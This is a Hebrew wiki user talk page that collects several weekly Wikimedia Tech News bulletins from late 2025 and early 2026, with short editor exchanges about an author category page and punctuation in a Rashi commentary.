* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.4|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/48|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W48&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 17:57, 24 בנובמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29702226 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 49 ==

&lt;section begin=&quot;technews-2025-W49&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/49|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* הסיכום של שנת 2025 בוויקיפדיה יהיה זמין מ-2 בדצמבר למשתמשי יישומוני ויקיפדיה ל-iOS ולאנדרואיד. יופיעו שם נתונים אישיים חדשים, הדגשי קריאה מעודכנים, ועיצובים מחודשים. ניתן ללמוד עוד ב[[mw:Special:MyLanguage/Wikimedia Apps/Team/Wikipedia Year in Review/Updates|דף המיזם]] של הסיכום.
* צוות Growth עובד על שיפור הטקסט והתצוגה במייל האימות הנשלח למשתמשים החדשים, כדי להפוך אותו ליותר מזמין, מועיל ומעביר מידע בצורה טובה יותר. חלק מהטקסט החדש הוכן בטיוטה עבור בדיקת A/B, וניתן לעזור באמצעות התרגום שלו. ראו ב[[phab:T396155|פבריקטור]].
* התכונה [[mw:Special:MyLanguage/Help:Growth/Tools/Add a link|Add a link]] תתחיל לפעול בוויקיפדיות ביפנית, אורדו וסינית ב-2 בדצמבר. התכונה מבוססת על מודל ניבוי המציע קישורים להוספה לערכים. התכונה כבר פועלת ברוב המכריע של ויקיפדיות, אבל מודל הניבוי לא תומך במספר שפות. מודל חדש פותח כדי לתמוך בשפות הללו, והוא ייפרס בהדרגה בוויקיפדיות במשך זמן מה. לפרטים נוספים יש לפנות אל [[mw:user:Trizek (WMF)|Trizek (WMF)]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:34|התקלה שדווחה|כל {{formatnum:34}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה הבעיה שגרמה לתיבות חיפוש במספר דפי ויקישיתוף לא להציג תוצאות עקב מעבר מ-SpecialSearch ל-MediaSearch.&amp;rlm; [https://phabricator.wikimedia.org/T399476]
* שני אתרי ויקי חדשים נוצרו:
** {{int:project-localized-name-group-wikipedia}} בשפת [[d:Q36846|טוקי פונה]] ([[w:tok:|&lt;code&gt;w:tok:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T404457]
** {{int:project-localized-name-group-wikiquote}} ב[[d:Q33655|ניגרית פידג'ין]] ([[q:pcm:|&lt;code&gt;q:pcm:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T408318]
'''עדכונים לעורכים הטכניים'''
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.5|MediaWiki]]

'''לעומק'''
* קרן ויקימדיה נמצאת בשלבים המוקדמים של חקר הגישות ל'''הנחיות לערכים'''. היוזמה מתכוונת למצוא פעולות שיעזרו לעורכים החדשים להבין מוקדם יותר את שיטות העבודה וסוגי המדיניות השונים של יצירת הערכים, ולפעול בהתאם. המיזם נמצא בשלב המחקר והניסויים הראשוניים בעיצוב. כל חברי הקהילה מוזמנים [[mw:Special:MyLanguage/Article guidance|ללמוד פרטים נוספים]] לגבי המיזם, ולשתף את מחשבותיהם ב[[mw:Special:MyLanguage/Talk:Article guidance|דף השיחה]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/49|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W49&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 20:58, 1 בדצמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29732328 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 50 ==

&lt;section begin=&quot;technews-2025-W50&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/50|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* כל המעוניינם להעלות את רמת האבטחה של חשבון ויקי שלהם יכולים להדליק את [[m:Special:MyLanguage/Help:Two-factor authentication|האימות הדו-שלבי]] (2FA). הוא זמין עכשיו לכל המשתמשים הרשומים בכל אתרי ויקי של ויקימדיה. מדובר בחלק מיוזמת [[mw:Special:MyLanguage/Product Safety and Integrity/Account Security|אבטחת החשבונות]]. בעתיד 2FA תדרש מכל המשתמשים הרשאים לבצע פעולות רגישות בטיחותית או קשורות למידע פרטי.

'''עדכונים לעורכים'''
* בהמשך לפריסה בשבוע שעבר תהיה התכונה [[mw:Special:MyLanguage/Help:Growth/Tools/Add a link|Add a link]]  זמינה בעוד [[Phab:T410469|33 ויקיפדיות]] החל מ-9 בדצמבר. התכונה מאפשרת לעורכים להוסיף קישורים בהתאם להצעות במהלך העריכה. ההרחבה קיימת הודות למודל ניבוי חדש שתומך עכשיו בכל השפות, כולל אלו שלא כוסו בעבר. התכונה הייתה זמינה ברוב ויקיפדיות כבר זמן מה, כשהפריסה הנוכחית מקרבת ליעד השימוש במודל החדש בכל האתרים. לשאלות ופרטים ניתן לפנות ל-[[mw:user:Trizek (WMF)|Trizek (WMF)]].
* בשבוע שעבר הוסיף [[mw:Special:MyLanguage/Wikimedia Search Platform|צוות פלטפורמת החיפוש]] את האפשרות של [[w:he:תעתיק|תעתיק]] ההצעות תוך כדי הקלדה בחיפוש ויקי באתרים בגאורגית. אם ישנן מעט הצעות חיפוש, ישוכתבו שאילתות באותיות לטיניות או קיריליות [[phab:T127003|לכתיב גאורגי]], כדי למצוא הצעות נוספות. למשל, חיפוש אחר &lt;bdi lang=&quot;ka-Latn&quot; dir=&quot;ltr&quot;&gt;''bedniereba''&lt;/bdi&gt; או איר &lt;bdi lang=&quot;ka-Cyrl&quot; dir=&quot;ltr&quot;&gt;''бедниереба''&lt;/bdi&gt; יציע ערך קיים על &lt;bdi lang=&quot;ka&quot; dir=&quot;ltr&quot;&gt;ბედნიერება&lt;/bdi&gt; (&quot;אושר&quot;). ניתן להמליץ על שפות נוספות בהן זה יעיל [[phab:T375215|בפבריקטור]] לפיתוח העתידי.
* בהמשך השבוע יחל ניסוי מבוקר לעורכים במאה ויקיפדיות הגדולות, כולל ויקיעברית, לאלו העורכים פרק נפרד בדף בעריכת ניידים באמצעות העורך החזותי. חצי מהעורכים יראו כפתור חדש לעריכת הדף כולו, כדי לאפשר להם לעבור במידת הצורך מפרק בדף לדף שלם. התכונה נועדה להקל על גולשי דפדפנים ניידים לערוך כל פרק בדף, בלי קשר לפרק ממנו התחילו את העריכה. הניסוי יימשך בסביבות ארבעה שבועות, וניתן למצוא [[phab:T409112|כאן]] פרטים נוספים בנושא.
* בהמשך השבוע ישיק [[mw:Special:MyLanguage/Readers/Reader Growth|צוות הקריאה של Growth]] את [[mw:Special:MyLanguage/Readers/Reader Growth/WE3.1.14 Expanded Mobile Sections|ניסוי הדפדפנים הניידים החדש]] להצגת כל הפרקים בערכים כברירת מחדל, לעומת המצב היום בו הפרקים מוסתרים, והדבקת הפרק אותו המשתמש קורא כרגע לראש הדף. הניסוי ישפיע על 10% מהמשתמשים בוויקיפדיות הערבית, הסינית, הצרפתית, האינדונזית והוויטנאמית. [https://phabricator.wikimedia.org/T409485]
* [[mw:Special:MyLanguage/Wikimedia Apps/Team/Wikipedia Year in Review/2025 Year in Review|הסיכום של שנת 2025 בוויקיפדיה]] זמין עכשיו למשתמשי יישומוני ויקיפדיה ל-iOS ולאנדרואיד. הוא מציג נתונים אישיים לגבי הקשר עם ויקיפדיה במהלך השנה. הפעם יופיעו שם מידע אישי מורחבים, הדגשי קריאה משופרים, הודעות התרמה חדשות ועיצובים מעודכנים. ניתן לקרוא את הסיכום ולחקור את מסע הקריאה האישי ב-2025.
* באג תוכנה גרם בתקופה האחרונה לעריכות בעורך החזותי לבצע שינויים לקוד ויקי בלי כוונה, כולל הסרת שטחים ריקים או החלפת רווחים בסימני &quot;_&quot; בקישורים הפנימיים. זה תוקן חלקית בשבוע שעבר, והעבודה על תיקונים נוספים נמשכת. על העורכים שהשתמשו בעורך החזותי בין 28 בנובמבר ל-2 בדצמבר לעבור על העריכות הרלוונטיות כדי לבדוק אם אין שם הפתעות. [https://phabricator.wikimedia.org/T411238]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:23|התקלה שדווחה|כל {{formatnum:23}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הטיפול הלקוי בכתובות URL שהועתקו משורת הכתובת בדפדפן Microsoft Edge.&amp;rlm; [https://phabricator.wikimedia.org/T341281]

'''עדכונים לעורכים הטכניים'''
* החל מהשבוע יקבלו המשתמשים של [[Special:Preferences#mw-prefsection-betafeatures|תכונת הבטא]] &quot;{{int:codemirror-beta-feature-title}}&quot; את [[mw:Special:MyLanguage/Help:Extension:CodeMirror|CodeMirror]] בתור עורך דפי לואה, ג'אווסקריפט, CSS,&amp;rlm; JSON ו-Vue, במקום [[mw:Special:MyLanguage/Extension:CodeEditor|ACE]]. יחד על זאת ישודרגו [[mw:Special:MyLanguage/Help:Extension:CodeMirror#Linting|הלינטרים]]. מדובר בחלק ממאמץ רחב להגיע בסוף להחלפת ACE שתביא לחווית עריכת הקוד האחידה. [https://phabricator.wikimedia.org/T373711]
* המפתחים מוזמנים לקחת חלק ב[https://wikimediafoundation.limesurvey.net/552643 סקר שביעות רצון המפתחים לשנת 2025] שיתקיים עד ל-5 בינואר 2026. אם בניתם תוכנה למערכת ויקימדית והייתם רוצים לשתף את החוויות או לתת משוב, נשמח מאוד לראות אתכם שם. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/W4WBKO6Q55UWWCCSFWQATKEXBEHP3QNR/]
* לא תהיה גרסת מדיה־ויקי חדשה השבוע.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/50|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W50&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 19:46, 8 בדצמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29738112 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 51 ==

&lt;section begin=&quot;technews-2025-W51&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/51|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:18|התקלה שדווחה|כל {{formatnum:18}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה של הוספת קישורים חיציניים בידי חשבונות זמניים שגרמה ליותר הפעלות hCaptcha מהצפוי, מבלי להציג את חלונית ה-captcha בלחיצה הראשונה על שמירת הדף. [https://phabricator.wikimedia.org/T411927]

'''עדכונים לעורכים הטכניים'''
* &lt;span class=&quot;mw-translate-fuzzy&quot;&gt;כדי לשפר את בסיס הנתונים ואת יעילות האתר לא יישמרו יותר בבסיס הנתונים קישורים חיצוניים למיזמי ויקימדיה. זה אומר שלא ניתן יהיה לחפש אותם ב-[[{{#special:LinkSearch}}]], הם לא ייבדקו בהוספה ברשימה השחורה של ספאם או במסנן ההשחתות, והם לא יופיעו בטבלת &lt;code dir=ltr&gt;externallinks&lt;/code&gt; ברפליקות בסיסי הנתונים. בעתיד זה יכול להתרחב לאתרים אחרים אמינים ביותר, בהפרדה לאתרי ויקי שונים. למשל, קישורים ל-Creative Commons בוויקישיתוף.&lt;/span&gt; [https://phabricator.wikimedia.org/T405005]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.7|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/51|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W51&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:03, 15 בדצמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29796010 --&gt;

== [[מחבר:שלמה משיח]] ==

תודה על תיקונך (באתי לתקן ומצאתי מתוקן)...&lt;br&gt;
ב. שאלות לי, למה נועד פרמטר תמונה אם לא רואים אותה?&lt;br&gt;
למה מופיע בדף רק יצירה אחת. [[משתמש:אייל|אייל]] ([[שיחת משתמש:אייל|שיחה]]) 11:32, 16 בדצמבר 2025 (IST)
: לגבי תמונה אינני יודע.&lt;br&gt;היצירה המופיעה מוגדרת באמצעות &lt;nowiki&gt;[[קטגוריה:שלמה משיח]]&lt;/nowiki&gt;. תכניס עוד יצירות לקטגוריה הזו וגם הן תופענה.&lt;br&gt;חנוכה שמח,-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 11:39, 16 בדצמבר 2025 (IST)
:: הכנסתי והן לא מופיעות,&lt;br&gt;חנוכה מואר. [[משתמש:אייל|אייל]] ([[שיחת משתמש:אייל|שיחה]]) 11:39, 16 בדצמבר 2025 (IST)
::: היה צריך לרענן את דף הקטגוריה. עכשיו זה מופיע. תודה רבה ויישר כח!.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:40, 16 בדצמבר 2025 (IST)
:::: ריעננתי מספר פעמים, מוזר... [[משתמש:אייל|אייל]] ([[שיחת משתמש:אייל|שיחה]]) 18:30, 16 בדצמבר 2025 (IST)

== ידיעות הטכנולוגיה 2025 – גיליון 52 ==

&lt;section begin=&quot;technews-2025-W52&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/52|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* החל מינואר [[mw:Special:MyLanguage/Extension:AbuseFilter/Access flags|ניתן יהיה לכוון]] את מסנני ההשחתה למצב הסתרה אוטומטית של פרטים שונים, כגון כללי הפעלה ורשימת עריכות ופעולות. זה יעזור ל[[w:he:ויקיפדיה:מעלים|מעלימים]] להשתמש במסנני העריכות למניעת [[w:he:דוקסינג|דוקסינג]] ומידע אחר הדורש הסתרה. [https://phabricator.wikimedia.org/T290324]
* הגיליון הבא של ידיעות הטכנולוגיה יופץ ב-12 בינואר 2026 עקב חגיגות השנה החדשה הנוצרית. תודה לכל המתרגמים, המפרסמים את החדשות ומשאירי המשוב בשנה החולפת.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:16|התקלה שדווחה|כל {{formatnum:16}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, לחיצה על &quot;צעדים ראשונים&quot; בסיכום השנה של יישומון ויקיפדיה באנדרואיד גרמה לקריסתו, ועכשיו זה תוקן. [https://phabricator.wikimedia.org/T411546]

'''עדכונים לעורכים הטכניים'''
* יחידות ממשק דוגמת השוואות בין גרסאות או קטגוריות הכילו אטריבוט &lt;code dir=ltr&gt;data-mw=&quot;interface&quot;&lt;/code&gt; כדי להבדיל אותם מתוכן ויקי. האטריבוט שינה את שמו ל-&lt;code dir=ltr&gt;data-mw-interface=&quot;&quot;&lt;/code&gt; כדי למנוע התנגשויות אפשריות עם אטריבוטים אחרים של &lt;code dir=ltr&gt;data-mw&lt;/code&gt; שנוצרים בידי פרסואיד. [https://phabricator.wikimedia.org/T409187]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] לא תהיה גרסת מדיה־ויקי חדשה השבוע ובשבוע הבא.
'''פגישות ואירועים'''
* [[mw:Wikimedia Hackathon Northwestern Europe 2026|האקטון ויקימדיה צפון מערב אירופה 2026]] יתקיים בין 13 ל-14 במרץ 2026 בארנהם שבהולנד. באמצע דצמבר נפתחה הגשת הבקשות להשתתפות והיא תסתיים באמצע ינואר, או מוקדם יותר אם ייגמר המקום. ישנם כמאה מקומות, ולכן מומלץ להזדרז.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/52|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W52&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:45, 22 בדצמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29831856 --&gt;

== רש&quot;י על ספר יהושע ==

שלום נחום, ויישר כוחך על ההתקדמות!

שאלה לגבי זוטות: למה נקודותיים בסוף הפירוש לפסוק? בספרים האחרים עשינו עם נקודה. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 18:23, 5 בינואר 2026 (IST)
: שכחתי שכך עשינו. אשנה.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 21:11, 5 בינואר 2026 (IST)

== ידיעות הטכנולוגיה 2026 – גיליון 03 ==

&lt;section begin=&quot;technews-2026-W03&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/03|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* קרן ויקימדיה פרסמה ב[[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2026-2027/Product &amp; Technology OKRs|מטא]] וב-[[diffblog:2025/12/10/shaping-wikimedia-foundations-2026-2027-annual-goals-key-questions-for-the-wikimedia-movement/|Diff]] מספר שאלות מנחות לתוכנית השנתית לתקופה שבין יולי 2026 ליוני 2027. הן מתמקדות במגמות עולמיות, חוויות מהירות ובריאות יותר, תמיכה משופרת במשתמשים חדשים ומתקדמים, שיפור בשיתוף פעולה בין המיזמים וצמיחת מספר הקוראים תוך כדי שמירת הקיימים. ניתן להשאיר משוב ולהציע רעיונות ב[[m:Talk:Wikimedia Foundation Annual Plan/2026-2027|דף השיחה]].

'''עדכונים לעורכים'''
* כחלק מפעולה משותפת של הצוות הטכני של הקהילה על פרויקט [[m:Special:MyLanguage/Community Wishlist/W372|רשימות מעקב מרובות]], המראה של הדף &quot;[[Special:EditWatchlist|הצגה ועריכה של רשימת המעקב]]&quot; יעודכן כשלב הראשון לקראת הפעלת רשימות המעקב המרובות. בנוסף, החלוקה לדפים ב[[Special:Search|חיפוש ויקי]] תעודכן גם היא כחלק מהעבודה על המשאלה לגבי [[m:Special:MyLanguage/Community Wishlist/W186|חידוש של חלוקה לדפים ומעבר בין דפים]]. [https://phabricator.wikimedia.org/T411596]
* [[m:Special:GlobalWatchlist|רשימת המעקב הגלובלית]] היא [[mw:Special:MyLanguage/Extension:GlobalWatchlist|הרחבת]] מדיה-ויקי המאפשרת לקבל את רשימות המעקב מאתרי ויקי שונים באותו דף. היא עודכנה לאחרונה כדי להראות קרובה יותר ל[[Special:Watchlist|רשימת המעקב]] הרגילה, כולל התאמה לחשבונות הזמניים (למשל, הפניית הקישורים בשמות המשתמש מדפי משתמש לדפי התרומות, ותיקון המראה של הקישורים הללו באתרים מימין לשמאל), הדגשת שמות הדפים ופתיחת הקישורים בתקצירי העריכות ובתוויות בלשונית חדשה של הדפדפן. [https://phabricator.wikimedia.org/T398361][https://phabricator.wikimedia.org/T298919][https://phabricator.wikimedia.org/T273526][https://phabricator.wikimedia.org/T286309]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:28|התקלה שדווחה|כל {{formatnum:28}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, בהמשך השבוע תתוקן הבעיה בגללה בחסימות הגלובליות לא הייתה אפשרות למנוע שליחת מיילים. [https://phabricator.wikimedia.org/T401293]

'''עדכונים לעורכים הטכניים'''
* [[mw:Special:MyLanguage/VisualEditor/Citation tool|כלי הציטוט בעורך החזותי]] ו[[mw:Special:MyLanguage/Help:Reference Previews|תצוגה מקדימה של הערות שוליים]] תומכים מעכשיו גם במפות כסוג ההערה. [https://phabricator.wikimedia.org/T411083]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.10|MediaWiki]]/[[mw:MediaWiki 1.46/wmf.11|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/03|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W03&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:34, 12 בינואר 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29907192 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 04 ==

&lt;section begin=&quot;technews-2026-W04&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/04|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* המגש המופיע ב[[Special:Diff|מיוחד:הבדלים]] בתצוגה ניידת עוצב מחדש. הוא מוסתר עכשיו כברירת מחדל, וכולל קישור לביטול העריכה המוצגת, מה שמאפשר לעורכים ומנטרים לפעול בקלות יותר מבלי לסבך את הממשק. [https://phabricator.wikimedia.org/T402297] 
* [[m:Special:GlobalWatchlist|רשימת המעקב הגלובלית]] מאפשרת צפיה ברשימות המעקב מאתרי ויקי רבים בדף אחד. [[mw:Special:MyLanguage/Extension:GlobalWatchlist|ההרחבה]] ממשיכה להשתפר. היא מזהה עכשיו אוטומטית את כיווניות הטקסט, מה שמבטיח הצגה נכונה של אתרים עם שמות דומיין לא רגילים, ומראה תיאור מפורט של פעולות היומן. בהמשך השבוע יתווספו קישור קבוע לגרסת יצירת הדף ומחלקות CSS לכל חלקי הרשומה. [https://phabricator.wikimedia.org/T412505][https://phabricator.wikimedia.org/T287929][https://phabricator.wikimedia.org/T262768][https://phabricator.wikimedia.org/T414135]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:32|התקלה שדווחה|כל {{formatnum:32}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, ניתנה התייחסות לבעיה בווקטור החדש בה יעד הקישור לעוגן הוסתר בידי הכותרת הדביקה. [https://phabricator.wikimedia.org/T406114]

'''עדכונים לעורכים הטכניים'''
* כפי שהוזכר ב[[m:Special:MyLanguage/Tech/News/2025/44|הודעת הפסקת השימוש באוקטובר 2025]] יתחיל צוות הממשקים של מדיה-ויקי לכבות את כל נקודות הקצה להעברה הכוללות קו נטוי בסוף ב-REST API של מדיה-ויקי החל מהשבוע של 26 בינואר. השינויים יגיעו לכל אתרי ויקי עד ל-30 בינואר. כל משתמשי ה-API המדובר מתבקשים לעבור לגרסאות ללא קו נטוי. ניתן למצוא, להשוות ולבדוק את שתי האפשרויות ב[https://test.wikipedia.org/wiki/Special:RestSandbox ארגז בחול של REST]. במקרה של שאלות או בעיות יש למלא טאסק בפבריקטור ב[https://phabricator.wikimedia.org/project/view/6931/ לוח העבודה הרלוונטי].
* התיעוד האינטראקטיבי של [[mw:Special:MyLanguage/Wikimedia REST API|REST API של ויקימדיה]] הועבר. השאילתות עברו קודם דרך [[mw:Special:MyLanguage/RESTBase|RESTBase]], למשל: &lt;code dir=ltr&gt;https://en.wikipedia.org/api/rest_v1/&lt;/code&gt;, ועכשיו הן מופנות ל[[w:en:Special:RestSandbox|ארגז החול של REST]].
